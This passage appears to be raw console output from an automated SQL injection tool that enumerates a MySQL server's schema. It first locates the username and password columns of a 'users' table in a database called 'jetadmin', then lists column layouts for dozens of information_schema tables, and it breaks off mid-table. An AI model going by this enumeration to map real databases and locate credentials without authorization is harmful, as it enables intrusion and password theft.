[03:17:26] [INFO] retrieved: 'ROUTINE_TYPE','varchar(9)'
[03:17:26] [INFO] fetching columns for table 'INNODB_CMPMEM_RESET' in database 'information_schema'
[03:17:27] [INFO] retrieved: 'page_size','int(5)'
[03:17:28] [INFO] retrieved: 'buffer_pool_instance','int(11)'
[03:17:28] [INFO] retrieved: 'pages_used','int(11)'
[03:17:28] [INFO] retrieved: 'pages_free','int(11)'
[03:17:29] [INFO] retrieved: 'relocation_ops','bigint(21)'
[03:17:29] [INFO] retrieved: 'relocation_time','int(11)'
[03:17:29] [INFO] fetching columns for table 'users' in database 'jetadmin'
[03:17:30] [INFO] retrieved: 'id','int(11)'
[03:17:31] [INFO] retrieved: 'username','varchar(50)'
[03:17:31] [INFO] retrieved: 'password','varchar(191)'
Database: information_schema
Table: INNODB_FT_INDEX_TABLE
[6 columns]
+--------------+---------------------+
| Column | Type |
+--------------+---------------------+
| POSITION | bigint(21) unsigned |
| DOC_COUNT | bigint(21) unsigned |
| DOC_ID | bigint(21) unsigned |
| FIRST_DOC_ID | bigint(21) unsigned |
| LAST_DOC_ID | bigint(21) unsigned |
| WORD | varchar(337) |
+--------------+---------------------+
Database: information_schema
Table: INNODB_SYS_VIRTUAL
[3 columns]
+----------+---------------------+
| Column | Type |
+----------+---------------------+
| BASE_POS | int(11) unsigned |
| POS | int(11) unsigned |
| TABLE_ID | bigint(21) unsigned |
+----------+---------------------+
Database: information_schema
Table: COLUMN_PRIVILEGES
[7 columns]
+----------------+--------------+
| Column | Type |
+----------------+--------------+
| COLUMN_NAME | varchar(64) |
| TABLE_NAME | varchar(64) |
| GRANTEE | varchar(81) |
| IS_GRANTABLE | varchar(3) |
| PRIVILEGE_TYPE | varchar(64) |
| TABLE_CATALOG | varchar(512) |
| TABLE_SCHEMA | varchar(64) |
+----------------+--------------+
Database: information_schema
Table: TABLE_CONSTRAINTS
[6 columns]
+--------------------+--------------+
| Column | Type |
+--------------------+--------------+
| CONSTRAINT_CATALOG | varchar(512) |
| CONSTRAINT_NAME | varchar(64) |
| CONSTRAINT_SCHEMA | varchar(64) |
| TABLE_NAME | varchar(64) |
| CONSTRAINT_TYPE | varchar(64) |
| TABLE_SCHEMA | varchar(64) |
+--------------------+--------------+
Database: information_schema
Table: INNODB_BUFFER_PAGE_LRU
[20 columns]
+---------------------+---------------------+
| Column | Type |
+---------------------+---------------------+
| COMPRESSED | varchar(3) |
| SPACE | bigint(21) unsigned |
| TABLE_NAME | varchar(1024) |
| ACCESS_TIME | bigint(21) unsigned |
| COMPRESSED_SIZE | bigint(21) unsigned |
| DATA_SIZE | bigint(21) unsigned |
| FIX_COUNT | bigint(21) unsigned |
| FLUSH_TYPE | bigint(21) unsigned |
| FREE_PAGE_CLOCK | bigint(21) unsigned |
| INDEX_NAME | varchar(1024) |
| IO_FIX | varchar(64) |
| IS_HASHED | varchar(3) |
| IS_OLD | varchar(3) |
| LRU_POSITION | bigint(21) unsigned |
| NEWEST_MODIFICATION | bigint(21) unsigned |
| NUMBER_RECORDS | bigint(21) unsigned |
| OLDEST_MODIFICATION | bigint(21) unsigned |
| PAGE_NUMBER | bigint(21) unsigned |
| PAGE_TYPE | varchar(64) |
| POOL_ID | bigint(21) unsigned |
+---------------------+---------------------+
Database: information_schema
Table: INNODB_FT_DELETED
[1 column]
+--------+---------------------+
| Column | Type |
+--------+---------------------+
| DOC_ID | bigint(21) unsigned |
+--------+---------------------+
Database: information_schema
Table: GLOBAL_STATUS
[2 columns]
+----------------+---------------+
| Column | Type |
+----------------+---------------+
| VARIABLE_NAME | varchar(64) |
| VARIABLE_VALUE | varchar(1024) |
+----------------+---------------+
Database: information_schema
Table: INNODB_CMP_RESET
[6 columns]
+-----------------+---------+
| Column | Type |
+-----------------+---------+
| compress_ops | int(11) |
| compress_ops_ok | int(11) |
| compress_time | int(11) |
| page_size | int(5) |
| uncompress_ops | int(11) |
| uncompress_time | int(11) |
+-----------------+---------+
Database: information_schema
Table: ROUTINES
[31 columns]
+--------------------------+---------------------+
| Column | Type |
+--------------------------+---------------------+
| DEFINER | varchar(93) |
| CHARACTER_MAXIMUM_LENGTH | int(21) |
| CHARACTER_OCTET_LENGTH | int(21) |
| CHARACTER_SET_CLIENT | varchar(32) |
| CHARACTER_SET_NAME | varchar(64) |
| COLLATION_CONNECTION | varchar(32) |
| COLLATION_NAME | varchar(64) |
| CREATED | datetime |
| DATA_TYPE | varchar(64) |
| DATABASE_COLLATION | varchar(32) |
| DATETIME_PRECISION | bigint(21) unsigned |
| DTD_IDENTIFIER | longtext |
| EXTERNAL_LANGUAGE | varchar(64) |
| EXTERNAL_NAME | varchar(64) |
| IS_DETERMINISTIC | varchar(3) |
| LAST_ALTERED | datetime |
| NUMERIC_PRECISION | bigint(21) unsigned |
| NUMERIC_SCALE | int(21) |
| PARAMETER_STYLE | varchar(8) |
| ROUTINE_BODY | varchar(8) |
| ROUTINE_CATALOG | varchar(512) |
| ROUTINE_COMMENT | longtext |
| ROUTINE_DEFINITION | longtext |
| ROUTINE_NAME | varchar(64) |
| ROUTINE_SCHEMA | varchar(64) |
| ROUTINE_TYPE | varchar(9) |
| SECURITY_TYPE | varchar(7) |
| SPECIFIC_NAME | varchar(64) |
| SQL_DATA_ACCESS | varchar(64) |
| SQL_MODE | varchar(8192) |
| SQL_PATH | varchar(64) |
+--------------------------+---------------------+
Database: information_schema
Table: INNODB_SYS_TABLESTATS
[9 columns]
+-------------------+---------------------+
| Column | Type |
+-------------------+---------------------+
| NAME | varchar(193) |
| AUTOINC | bigint(21) unsigned |
| CLUST_INDEX_SIZE | bigint(21) unsigned |
| MODIFIED_COUNTER | bigint(21) unsigned |
| NUM_ROWS | bigint(21) unsigned |
| OTHER_INDEX_SIZE | bigint(21) unsigned |
| REF_COUNT | int(11) |
| STATS_INITIALIZED | varchar(193) |
| TABLE_ID | bigint(21) unsigned |
+-------------------+---------------------+
Database: information_schema
Table: TABLE_PRIVILEGES
[6 columns]
+----------------+--------------+
| Column | Type |
+----------------+--------------+
| TABLE_NAME | varchar(64) |
| GRANTEE | varchar(81) |
| IS_GRANTABLE | varchar(3) |
| PRIVILEGE_TYPE | varchar(64) |
| TABLE_CATALOG | varchar(512) |
| TABLE_SCHEMA | varchar(64) |
+----------------+--------------+
Database: information_schema
Table: INNODB_SYS_TABLES
[9 columns]
+---------------+---------------------+
| Column | Type |
+---------------+---------------------+
| NAME | varchar(655) |
| ROW_FORMAT | varchar(12) |
| SPACE | int(11) |
| FILE_FORMAT | varchar(10) |
| FLAG | int(11) |
| N_COLS | int(11) |
| SPACE_TYPE | varchar(10) |
| TABLE_ID | bigint(21) unsigned |
| ZIP_PAGE_SIZE | int(11) unsigned |
+---------------+---------------------+
Database: information_schema
Table: OPTIMIZER_TRACE
[4 columns]
+-----------------------------------+------------+
| Column | Type |
+-----------------------------------+------------+
| QUERY | longtext |
| INSUFFICIENT_PRIVILEGES | tinyint(1) |
| MISSING_BYTES_BEYOND_MAX_MEM_SIZE | int(20) |
| TRACE | longtext |
+-----------------------------------+------------+
Database: information_schema
Table: TABLES
[21 columns]
+-----------------+---------------------+
| Column | Type |
+-----------------+---------------------+
| AUTO_INCREMENT | bigint(21) unsigned |
| AVG_ROW_LENGTH | bigint(21) unsigned |
| CHECKSUM | bigint(21) unsigned |
| ENGINE | varchar(64) |
| ROW_FORMAT | varchar(10) |
| TABLE_NAME | varchar(64) |
| VERSION | bigint(21) unsigned |
| CHECK_TIME | datetime |
| CREATE_OPTIONS | varchar(255) |
| CREATE_TIME | datetime |
| DATA_FREE | bigint(21) unsigned |
| DATA_LENGTH | bigint(21) unsigned |
| INDEX_LENGTH | bigint(21) unsigned |
| MAX_DATA_LENGTH | bigint(21) unsigned |
| TABLE_CATALOG | varchar(512) |
| TABLE_COLLATION | varchar(32) |
| TABLE_COMMENT | varchar(2048) |
| TABLE_ROWS | bigint(21) unsigned |
| TABLE_SCHEMA | varchar(64) |
| TABLE_TYPE | varchar(64) |
| UPDATE_TIME | datetime |
+-----------------+---------------------+
Database: information_schema
Table: INNODB_FT_DEFAULT_STOPWORD
[1 column]
+--------+-------------+
| Column | Type |
+--------+-------------+
| value | varchar(18) |
+--------+-------------+
Database: information_schema
Table: CHARACTER_SETS
[4 columns]
+----------------------+-------------+
| Column | Type |
+----------------------+-------------+
| DESCRIPTION | varchar(60) |
| CHARACTER_SET_NAME | varchar(32) |
| DEFAULT_COLLATE_NAME | varchar(32) |
| MAXLEN | bigint(3) |
+----------------------+-------------+
Database: information_schema
Table: SCHEMA_PRIVILEGES
[5 columns]
+----------------+--------------+
| Column | Type |
+----------------+--------------+
| GRANTEE | varchar(81) |
| IS_GRANTABLE | varchar(3) |
| PRIVILEGE_TYPE | varchar(64) |
| TABLE_CATALOG | varchar(512) |
| TABLE_SCHEMA | varchar(64) |
+----------------+--------------+
Database: information_schema
Table: INNODB_BUFFER_PAGE
[20 columns]
+---------------------+---------------------+
| Column | Type |
+---------------------+---------------------+
| SPACE | bigint(21) unsigned |
| TABLE_NAME | varchar(1024) |
| ACCESS_TIME | bigint(21) unsigned |
| BLOCK_ID | bigint(21) unsigned |
| COMPRESSED_SIZE | bigint(21) unsigned |
| DATA_SIZE | bigint(21) unsigned |
| FIX_COUNT | bigint(21) unsigned |
| FLUSH_TYPE | bigint(21) unsigned |
| FREE_PAGE_CLOCK | bigint(21) unsigned |
| INDEX_NAME | varchar(1024) |
| IO_FIX | varchar(64) |
| IS_HASHED | varchar(3) |
| IS_OLD | varchar(3) |
| NEWEST_MODIFICATION | bigint(21) unsigned |
| NUMBER_RECORDS | bigint(21) unsigned |
| OLDEST_MODIFICATION | bigint(21) unsigned |
| PAGE_NUMBER | bigint(21) unsigned |
| PAGE_STATE | varchar(64) |
| PAGE_TYPE | varchar(64) |
| POOL_ID | bigint(21) unsigned |
+---------------------+---------------------+
Database: information_schema
Table: COLLATION_CHARACTER_SET_APPLICABILITY
[2 columns]
+--------------------+-------------+
| Column | Type |
+--------------------+-------------+
| CHARACTER_SET_NAME | varchar(32) |
| COLLATION_NAME | varchar(32) |
+--------------------+-------------+
Database: information_schema
Table: INNODB_CMP
[6 columns]
+-----------------+---------+
| Column | Type |
+-----------------+---------+
| compress_ops | int(11) |
| compress_ops_ok | int(11) |
| compress_time | int(11) |
| page_size | int(5) |
| uncompress_ops | int(11) |
| uncompress_time | int(11) |
+-----------------+---------+
Database: information_schema
Table: INNODB_SYS_TABLESPACES
[11 columns]
+----------------+---------------------+
| Column | Type |
+----------------+---------------------+
| NAME | varchar(655) |
| ROW_FORMAT | varchar(22) |
| SPACE | int(11) unsigned |
| ALLOCATED_SIZE | bigint(21) unsigned |
| FILE_FORMAT | varchar(10) |
| FILE_SIZE | bigint(21) unsigned |
| FLAG | int(11) unsigned |
| FS_BLOCK_SIZE | int(11) unsigned |
| PAGE_SIZE | int(11) unsigned |
| SPACE_TYPE | varchar(10) |
| ZIP_PAGE_SIZE | int(11) unsigned |
+----------------+---------------------+
Database: information_schema
Table: INNODB_FT_BEING_DELETED
[1 column]
+--------+---------------------+
| Column | Type |
+--------+---------------------+
| DOC_ID | bigint(21) unsigned |
+--------+---------------------+
Database: information_schema
Table: TABLESPACES
[9 columns]
+--------------------+---------------------+
| Column | Type |
+--------------------+---------------------+
| AUTOEXTEND_SIZE | bigint(21) unsigned |
| ENGINE | varchar(64) |
| EXTENT_SIZE | bigint(21) unsigned |
| LOGFILE_GROUP_NAME | varchar(64) |
| MAXIMUM_SIZE | bigint(21) unsigned |
| NODEGROUP_ID | bigint(21) unsigned |
| TABLESPACE_COMMENT | varchar(2048) |
| TABLESPACE_NAME | varchar(64) |
| TABLESPACE_TYPE | varchar(64) |
+--------------------+---------------------+
Database: information_schema
Table: ENGINES
[6 columns]
+--------------+-------------+
| Column | Type |
+--------------+-------------+
| COMMENT | varchar(80) |
| ENGINE | varchar(64) |
| XA | varchar(3) |
| SAVEPOINTS | varchar(3) |
| SUPPORT | varchar(8) |
| TRANSACTIONS | varchar(3) |
+--------------+-------------+
Database: information_schema
Table: TRIGGERS
[22 columns]
+----------------------------+---------------+
| Column | Type |
+----------------------------+---------------+
| DEFINER | varchar(93) |
| ACTION_CONDITION | longtext |
| ACTION_ORDER | bigint(4) |
| ACTION_ORIENTATION | varchar(9) |
| ACTION_REFERENCE_NEW_ROW | varchar(3) |
| ACTION_REFERENCE_NEW_TABLE | varchar(64) |
| ACTION_REFERENCE_OLD_ROW | varchar(3) |
| ACTION_REFERENCE_OLD_TABLE | varchar(64) |
| ACTION_STATEMENT | longtext |
| ACTION_TIMING | varchar(6) |
| CHARACTER_SET_CLIENT | varchar(32) |
| COLLATION_CONNECTION | varchar(32) |
| CREATED | datetime(2) |
| DATABASE_COLLATION | varchar(32) |
| EVENT_MANIPULATION | varchar(6) |
| EVENT_OBJECT_CATALOG | varchar(512) |
| EVENT_OBJECT_SCHEMA | varchar(64) |
| EVENT_OBJECT_TABLE | varchar(64) |
| SQL_MODE | varchar(8192) |
| TRIGGER_CATALOG | varchar(512) |
| TRIGGER_NAME | varchar(64) |
| TRIGGER_SCHEMA | varchar(64) |
+----------------------------+---------------+
Database: information_schema
Table: REFERENTIAL_CONSTRAINTS
[11 columns]
+---------------------------+--------------+
| Column | Type |
+---------------------------+--------------+
| CONSTRAINT_CATALOG | varchar(512) |
| CONSTRAINT_NAME | varchar(64) |
| CONSTRAINT_SCHEMA | varchar(64) |
| TABLE_NAME | varchar(64) |
| DELETE_RULE | varchar(64) |
| MATCH_OPTION | varchar(64) |
| REFERENCED_TABLE_NAME | varchar(64) |
| UNIQUE_CONSTRAINT_CATALOG | varchar(512) |
| UNIQUE_CONSTRAINT_NAME | varchar(64) |
| UNIQUE_CONSTRAINT_SCHEMA | varchar(64) |
| UPDATE_RULE | varchar(64) |
+---------------------------+--------------+
Database: information_schema
Table: INNODB_SYS_FOREIGN_COLS
[4 columns]
+--------------+------------------+
| Column | Type |
+--------------+------------------+
| FOR_COL_NAME | varchar(193) |
| ID | varchar(193) |
| POS | int(11) unsigned |
| REF_COL_NAME | varchar(193) |
+--------------+------------------+
Database: information_schema
Table: PARTITIONS
[25 columns]
+-------------------------------+---------------------+
| Column | Type |
+-------------------------------+---------------------+
| AVG_ROW_LENGTH | bigint(21) unsigned |
| CHECKSUM | bigint(21) unsigned |
| NODEGROUP | varchar(12) |
| TABLE_NAME | varchar(64) |
| CHECK_TIME | datetime |
| CREATE_TIME | datetime |
| DATA_FREE | bigint(21) unsigned |
| DATA_LENGTH | bigint(21) unsigned |
| INDEX_LENGTH | bigint(21) unsigned |
| MAX_DATA_LENGTH | bigint(21) unsigned |
| PARTITION_COMMENT | varchar(80) |
| PARTITION_DESCRIPTION | longtext |
| PARTITION_EXPRESSION | longtext |
| PARTITION_METHOD | varchar(18) |
| PARTITION_NAME | varchar(64) |
| PARTITION_ORDINAL_POSITION | bigint(21) unsigned |
| SUBPARTITION_EXPRESSION | longtext |
| SUBPARTITION_METHOD | varchar(12) |
| SUBPARTITION_NAME | varchar(64) |
| SUBPARTITION_ORDINAL_POSITION | bigint(21) unsigned |
| TABLE_CATALOG | varchar(512) |
| TABLE_ROWS | bigint(21) unsigned |
| TABLE_SCHEMA | varchar(64) |
| TABLESPACE_NAME | varchar(64) |
| UPDATE_TIME | datetime |
+-------------------------------+---------------------+
Database: information_schema
Table: PROCESSLIST
[8 columns]
+---------+---------------------+
| Column | Type |
+---------+---------------------+
| HOST | varchar(64) |
| TIME | int(7) |
| USER | varchar(32) |
| COMMAND | varchar(16) |
| DB | varchar(64) |
| ID | bigint(21) unsigned |
| INFO | longtext |
| STATE | varchar(64) |
+---------+---------------------+
Database: information_schema
Table: INNODB_FT_CONFIG
[2 columns]
+--------+--------------+
| Column | Type |
+--------+--------------+
| KEY | varchar(193) |
| VALUE | varchar(193) |
+--------+--------------+
Database: information_schema
Table: EVENTS
[24 columns]
+----------------------+---------------+
| Column | Type |
+----------------------+---------------+
| DEFINER | varchar(93) |
| ENDS | datetime |
| STARTS | datetime |
| STATUS | varchar(18) |
| CHARACTER_SET_CLIENT | varchar(32) |
| COLLATION_CONNECTION | varchar(32) |
| CREATED | datetime |
| DATABASE_COLLATION | varchar(32) |
| EVENT_BODY | varchar(8) |
| EVENT_CATALOG | varchar(64) |
| EVENT_COMMENT | varchar(64) |
| EVENT_DEFINITION | longtext |
| EVENT_NAME | varchar(64) |
| EVENT_SCHEMA | varchar(64) |
| EVENT_TYPE | varchar(9) |
| EXECUTE_AT | datetime |
| INTERVAL_FIELD | varchar(18) |
| INTERVAL_VALUE | varchar(256) |
| LAST_ALTERED | datetime |
| LAST_EXECUTED | datetime |
| ON_COMPLETION | varchar(12) |
| ORIGINATOR | bigint(10) |
| SQL_MODE | varchar(8192) |
| TIME_ZONE | varchar(64) |
+----------------------+---------------+
Database: information_schema
Table: COLUMNS
[21 columns]
+--------------------------+---------------------+
| Column | Type |
+--------------------------+---------------------+
| COLUMN_NAME | varchar(64) |
| PRIVILEGES | varchar(80) |
| TABLE_NAME | varchar(64) |
| CHARACTER_MAXIMUM_LENGTH | bigint(21) unsigned |
| CHARACTER_OCTET_LENGTH | bigint(21) unsigned |
| CHARACTER_SET_NAME | varchar(32) |
| COLLATION_NAME | varchar(32) |
| COLUMN_COMMENT | varchar(1024) |
| COLUMN_DEFAULT | longtext |
| COLUMN_KEY | varchar(3) |
| COLUMN_TYPE | longtext |
| DATA_TYPE | varchar(64) |
| DATETIME_PRECISION | bigint(21) unsigned |
| EXTRA | varchar(30) |
| GENERATION_EXPRESSION | longtext |
| IS_NULLABLE | varchar(3) |
| NUMERIC_PRECISION | bigint(21) unsigned |
| NUMERIC_SCALE | bigint(21) unsigned |
| ORDINAL_POSITION | bigint(21) unsigned |
| TABLE_CATALOG | varchar(512) |
| TABLE_SCHEMA | varchar(64) |
+--------------------------+---------------------+
Database: information_schema
Table: INNODB_SYS_FIELDS
[3 columns]
+----------+---------------------+
| Column | Type |
+----------+---------------------+
| NAME | varchar(193) |
| INDEX_ID | bigint(21) unsigned |
| POS | int(11) unsigned |
+----------+---------------------+
Database: information_schema
Table: GLOBAL_VARIABLES
[2 columns]
+----------------+---------------+
| Column | Type |
+----------------+---------------+
| VARIABLE_NAME | varchar(64) |
| VARIABLE_VALUE | varchar(1024) |
+----------------+---------------+
Database: information_schema
Table: INNODB_CMP_PER_INDEX_RESET
[8 columns]
+-----------------+--------------+
| Column | Type |
+-----------------+--------------+
| table_name | varchar(192) |
| compress_ops | int(11) |
| compress_ops_ok | int(11) |
| compress_time | int(11) |
| database_name | varchar(192) |
| index_name | varchar(192) |
| uncompress_ops | int(11) |
| uncompress_time | int(11) |
+-----------------+--------------+
Database: information_schema
Table: COLLATIONS
[6 columns]
+--------------------+-------------+
| Column | Type |
+--------------------+-------------+
| CHARACTER_SET_NAME | varchar(32) |
| COLLATION_NAME | varchar(32) |
| ID | bigint(11) |
| IS_COMPILED | varchar(3) |
| IS_DEFAULT | varchar(3) |
| SORTLEN | bigint(3) |
+--------------------+-------------+
Database: information_schema
Table: PROFILING
[18 columns]
+---------------------+--------------+
| Column | Type |
+---------------------+--------------+
| SWAPS | int(20) |
| BLOCK_OPS_IN | int(20) |
| BLOCK_OPS_OUT | int(20) |
| CONTEXT_INVOLUNTARY | int(20) |
| CONTEXT_VOLUNTARY | int(20) |
| CPU_SYSTEM | decimal(9,6) |
| CPU_USER | decimal(9,6) |
| DURATION | decimal(9,6) |
| MESSAGES_RECEIVED | int(20) |
| MESSAGES_SENT | int(20) |
| PAGE_FAULTS_MAJOR | int(20) |
| PAGE_FAULTS_MINOR | int(20) |
| QUERY_ID | int(20) |
| SEQ | int(20) |
| SOURCE_FILE | varchar(20) |
| SOURCE_FUNCTION | varchar(30) |
| SOURCE_LINE | int(20) |
| STATE | varchar(30) |
+---------------------+--------------+
Database: information_schema
Table: VIEWS
[10 columns]
+----------------------+--------------+
| Column | Type |
+----------------------+--------------+
| DEFINER | varchar(93) |
| TABLE_NAME | varchar(64) |
| CHARACTER_SET_CLIENT | varchar(32) |
| CHECK_OPTION | varchar(8) |
| COLLATION_CONNECTION | varchar(32) |
| IS_UPDATABLE | varchar(3) |
| SECURITY_TYPE | varchar(7) |
| TABLE_CATALOG | varchar(512) |
| TABLE_SCHEMA | varchar(64) |
| VIEW_DEFINITION | longtext |
+----------------------+--------------+
Database: information_schema
Table: INNODB_SYS_COLUMNS
[6 columns]
+----------+---------------------+
| Column | Type |
+----------+---------------------+
| NAME | varchar(193) |
| LEN | int(11) |
| MTYPE | int(11) |
| POS | bigint(21) unsigned |
| PRTYPE | int(11) |
| TABLE_ID | bigint(21) unsigned |
+----------+---------------------+
Database: information_schema
Table: INNODB_CMPMEM
[6 columns]
+----------------------+------------+
| Column | Type |
+----------------------+------------+
| buffer_pool_instance | int(11) |
| page_size | int(5) |
| pages_free | int(11) |
| pages_used | int(11) |
| relocation_ops | bigint(21) |
| relocation_time | int(11) |
+----------------------+------------+
Database: information_schema
Table: INNODB_METRICS
[17 columns]
+-----------------+--------------+
| Column | Type |
+-----------------+--------------+
| COMMENT | varchar(193) |
| COUNT | bigint(21) |
| NAME | varchar(193) |
| STATUS | varchar(193) |
| TYPE | varchar(193) |
| AVG_COUNT | double |
| AVG_COUNT_RESET | double |
| COUNT_RESET | bigint(21) |
| MAX_COUNT | bigint(21) |
| MAX_COUNT_RESET | bigint(21) |
| MIN_COUNT | bigint(21) |
| MIN_COUNT_RESET | bigint(21) |
| SUBSYSTEM | varchar(193) |
| TIME_DISABLED | datetime |
| TIME_ELAPSED | bigint(21) |
| TIME_ENABLED | datetime |
| TIME_RESET | datetime |
+-----------------+--------------+
Database: information_schema
Table: FILES
[38 columns]
+----------------------+---------------------+
| Column | Type |
+----------------------+---------------------+
| AUTOEXTEND_SIZE | bigint(21) unsigned |
| AVG_ROW_LENGTH | bigint(21) unsigned |
| CHECKSUM | bigint(21) unsigned |
| ENGINE | varchar(64) |
| EXTENT_SIZE | bigint(4) |
| INITIAL_SIZE | bigint(21) unsigned |
| ROW_FORMAT | varchar(10) |
| STATUS | varchar(20) |
| TABLE_NAME | varchar(64) |
| VERSION | bigint(21) unsigned |
| CHECK_TIME | datetime |
| CREATE_TIME | datetime |
| CREATION_TIME | datetime |
| DATA_FREE | bigint(21) unsigned |
| DATA_LENGTH | bigint(21) unsigned |
| DELETED_ROWS | bigint(4) |
| EXTRA | varchar(255) |
| FILE_ID | bigint(4) |
| FILE_NAME | varchar(4000) |
| FILE_TYPE | varchar(20) |
| FREE_EXTENTS | bigint(4) |
| FULLTEXT_KEYS | varchar(64) |
| INDEX_LENGTH | bigint(21) unsigned |
| LAST_ACCESS_TIME | datetime |
| LAST_UPDATE_TIME | datetime |
| LOGFILE_GROUP_NAME | varchar(64) |
| LOGFILE_GROUP_NUMBER | bigint(4) |
| MAX_DATA_LENGTH | bigint(21) unsigned |
| MAXIMUM_SIZE | bigint(21) unsigned |
| RECOVER_TIME | bigint(4) |
| TABLE_CATALOG | varchar(64) |
| TABLE_ROWS | bigint(21) unsigned |
| TABLE_SCHEMA | varchar(64) |
| TABLESPACE_NAME | varchar(64) |
| TOTAL_EXTENTS | bigint(4) |
| TRANSACTION_COUNTER | bigint(4) |
| UPDATE_COUNT | bigint(4) |
| UPDATE_TIME | datetime |
+----------------------+---------------------+
Database: information_schema
Table: INNODB_BUFFER_POOL_STATS
[32 columns]
+----------------------------------+---------------------+
| Column | Type |
+----------------------------------+---------------------+
| DATABASE_PAGES | bigint(21) unsigned |
| FREE_BUFFERS | bigint(21) unsigned |
| HIT_RATE | bigint(21) unsigned |
| LRU_IO_CURRENT | bigint(21) unsigned |
| LRU_IO_TOTAL | bigint(21) unsigned |
| MODIFIED_DATABASE_PAGES | bigint(21) unsigned |
| NOT_YOUNG_MAKE_PER_THOUSAND_GETS | bigint(21) unsigned |
| NUMBER_PAGES_CREATED | bigint(21) unsigned |
| NUMBER_PAGES_GET | bigint(21) unsigned |
| NUMBER_PAGES_READ | bigint(21) unsigned |
| NUMBER_PAGES_READ_AHEAD | bigint(21) unsigned |
| NUMBER_PAGES_WRITTEN | bigint(21) unsigned |
| NUMBER_READ_AHEAD_EVICTED | bigint(21) unsigned |
| OLD_DATABASE_PAGES | bigint(21) unsigned |
| PAGES_CREATE_RATE | double |
| PAGES_MADE_NOT_YOUNG_RATE | double |
| PAGES_MADE_YOUNG | bigint(21) unsigned |
| PAGES_MADE_YOUNG_RATE | double |
| PAGES_NOT_MADE_YOUNG | bigint(21) unsigned |
| PAGES_READ_RATE | double |
| PAGES_WRITTEN_RATE | double |
| PENDING_DECOMPRESS | bigint(21) unsigned |
| PENDING_FLUSH_LIST | bigint(21) unsigned |
| PENDING_FLUSH_LRU | bigint(21) unsigned |
| PENDING_READS | bigint(21) unsigned |
| POOL_ID | bigint(21) unsigned |
| POOL_SIZE | bigint(21) unsigned |
| READ_AHEAD_EVICTED_RATE | double |
| READ_AHEAD_RATE | double |
| UNCOMPRESS_CURRENT | bigint(21) unsigned |
| UNCOMPRESS_TOTAL | bigint(21) unsigned |
| YOUNG_MAKE_PER_THOUSAND_GETS | bigint(21) unsigned |
+----------------------------------+---------------------+
Database: information_schema
Table: INNODB_LOCK_WAITS
[4 columns]
+-------------------+-------------+
| Column | Type |
+-------------------+-------------+
| blocking_lock_id | varchar(81) |
| blocking_trx_id | varchar(18) |
| requested_lock_id | varchar(81) |
| requesting_trx_id | varchar(18) |
+-------------------+-------------+
Database: information_schema
Table: SCHEMATA
[5 columns]
+----------------------------+--------------+
| Column | Type |
+----------------------------+--------------+
| CATALOG_NAME | varchar(512) |
| SCHEMA_NAME | varchar(64) |
| DEFAULT_CHARACTER_SET_NAME | varchar(32) |
| DEFAULT_COLLATION_NAME | varchar(32) |
| SQL_PATH | varchar(512) |
+----------------------------+--------------+
Database: information_schema
Table: SESSION_VARIABLES
[2 columns]
+----------------+---------------+
| Column | Type |
+----------------+---------------+
| VARIABLE_NAME | varchar(64) |
| VARIABLE_VALUE | varchar(1024) |
+----------------+---------------+
Database: information_schema
Table: INNODB_FT_INDEX_CACHE
[6 columns]
+--------------+---------------------+
| Column | Type |
+--------------+---------------------+
| POSITION | bigint(21) unsigned |
| DOC_COUNT | bigint(21) unsigned |
| DOC_ID | bigint(21) unsigned |
| FIRST_DOC_ID | bigint(21) unsigned |
| LAST_DOC_ID | bigint(21) unsigned |
| WORD | varchar(337) |
+--------------+---------------------+
Database: information_schema
Table: INNODB_TRX
[24 columns]
+----------------------------+---------------------+
| Column | Type |
+----------------------------+---------------------+
| trx_adaptive_hash_latched | int(1) |
| trx_adaptive_hash_timeout | bigint(21) unsigned |
| trx_autocommit_non_locking | int(1) |
| trx_concurrency_tickets | bigint(21) unsigned |
| trx_foreign_key_checks | int(1) |
| trx_id | varchar(18) |
| trx_is_read_only | int(1) |
| trx_isolation_level | varchar(16) |
| trx_last_foreign_key_error | varchar(256) |
| trx_lock_memory_bytes | bigint(21) unsigned |
| trx_lock_structs | bigint(21) unsigned |
| trx_mysql_thread_id | bigint(21) unsigned |
| trx_operation_state | varchar(64) |
| trx_query | varchar(1024) |
| trx_requested_lock_id | varchar(81) |
| trx_rows_locked | bigint(21) unsigned |
| trx_rows_modified | bigint(21) unsigned |
| trx_started | datetime |
| trx_state | varchar(13) |
| trx_tables_in_use | bigint(21) unsigned |
| trx_tables_locked | bigint(21) unsigned |
| trx_unique_checks | int(1) |
| trx_wait_started | datetime |
| trx_weight | bigint(21) unsigned |
+----------------------------+---------------------+
Database: information_schema
Table: PLUGINS
[11 columns]
+------------------------+-------------+
| Column | Type |
+------------------------+-------------+
| LOAD_OPTION | varchar(64) |
| PLUGIN_AUTHOR | varchar(64) |
| PLUGIN_DESCRIPTION | longtext |
| PLUGIN_LIBRARY | varchar(64) |
| PLUGIN_LIBRARY_VERSION | varchar(20) |
| PLUGIN_LICENSE | varchar(80) |
| PLUGIN_NAME | varchar(64) |
| PLUGIN_STATUS | varchar(10) |
| PLUGIN_TYPE | varchar(80) |
| PLUGIN_TYPE_VERSION | varchar(20) |
| PLUGIN_VERSION | varchar(20) |
+------------------------+-------------+
Database: information_schema
Table: SESSION_STATUS
[2 columns]
+----------------+---------------+
| Column | Type |
+----------------+---------------+
| VARIABLE_NAME | varchar(64) |
| VARIABLE_VALUE | varchar(1024) |
+----------------+---------------+
Database: information_schema
Table: USER_PRIVILEGES
[4 columns]
+----------------+--------------+
| Column | Type |
+----------------+--------------+
| GRANTEE | varchar(81) |
| IS_GRANTABLE | varchar(3) |
| PRIVILEGE_TYPE | varchar(64) |
| TABLE_CATALOG | varchar(512) |
+----------------+--------------+
Database: information_schema
Table: INNODB_SYS_DATAFILES
[2 columns]
+--------+------------------+
| Column | Type |
+--------+------------------+
| PATH | varchar(4000) |
| SPACE | int(11) unsigned |
+--------+------------------+
Database: information_schema
Table: INNODB_SYS_INDEXES
[8 columns]
+-----------------+---------------------+
| Column | Type |
+-----------------+---------------------+
| NAME | varchar(193) |
| SPACE | int(11) |
| TYPE | int(11) |
| INDEX_ID | bigint(21) unsigned |
| MERGE_THRESHOLD | int(11) |
| N_FIELDS | int(11) |
| PAGE_NO | int(11) |
| TABLE_ID | bigint(21) unsigned |
+-----------------+---------------------+
Database: information_schema
Table: KEY_COLUMN_USAGE
[12 columns]
+-------------------------------+--------------+
| Column | Type |
+-------------------------------+--------------+
| COLUMN_NAME | varchar(64) |
| CONSTRAINT_CATALOG | varchar(512) |
| CONSTRAINT_NAME | varchar(64) |
| CONSTRAINT_SCHEMA | varchar(64) |
| TABLE_NAME | varchar(64) |
| ORDINAL_POSITION | bigint(10) |
